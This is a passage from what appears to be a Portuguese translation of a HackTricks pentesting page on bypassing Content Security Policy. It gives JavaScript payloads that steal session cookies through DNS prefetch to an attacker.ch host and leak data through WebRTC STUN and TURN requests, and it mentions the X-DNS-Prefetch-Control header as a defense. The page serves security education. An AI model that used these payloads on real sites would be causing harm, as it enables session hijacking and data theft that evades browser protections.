Você pode abusar desse comportamento para exfiltrar informações sensíveis via solicitações DNS:

var sessionid = document.cookie.split('=')[1]+".";
var body = document.getElementsByTagName('body')[0];
body.innerHTML = body.innerHTML + "<link rel=\"dns-prefetch\" href=\"//" + sessionid + "attacker.ch\">";

Outra maneira:

const linkEl = document.createElement('link');
linkEl.rel = 'prefetch';
linkEl.href = urlWithYourPreciousData;
document.head.appendChild(linkEl);

Para evitar que isso aconteça, o servidor pode enviar o cabeçalho HTTP:

X-DNS-Prefetch-Control: off

{% hint style="info" %} Aparentemente, esta técnica não funciona em navegadores sem interface gráfica (bots) {% endhint %}

WebRTC

Em várias páginas você pode ler que o WebRTC não verifica a política connect-src do CSP.

Na verdade, você pode vazar informações usando uma solicitação DNS. Confira este código:

(async()=>{p=new RTCPeerConnection({iceServers:[{urls: "stun:LEAK.dnsbin"}]});p.createDataChannel('');p.setLocalDescription(await p.createOffer())})()

Outra opção:

var pc = new RTCPeerConnection({
"iceServers":[
{"urls":[
"turn:74.125.140.127:19305?transport=udp"
],"username":"_all_your_data_belongs_to_us",
"credential":"."
}]
});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);

Verificando Políticas CSP Online

Criando CSP Automaticamente

https://csper.io/docs/generating-content-security-policy

Referências

Junte-se ao servidor HackenProof Discord para se comunicar com hackers experientes e caçadores de recompensas por bugs!

Insights de Hacking
Engaje-se com conteúdo que explora a emoção e os desafios do hacking

Notícias de Hacking em Tempo Real
Mantenha-se atualizado com o mundo acelerado do hacking através de notícias e insights em tempo real

Últimos Anúncios
Fique informado com os mais novos lançamentos de recompensas por bugs e atualizações cruciais da plataforma

Junte-se a nós no Discord e comece a colaborar com os melhores hackers hoje!

Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks: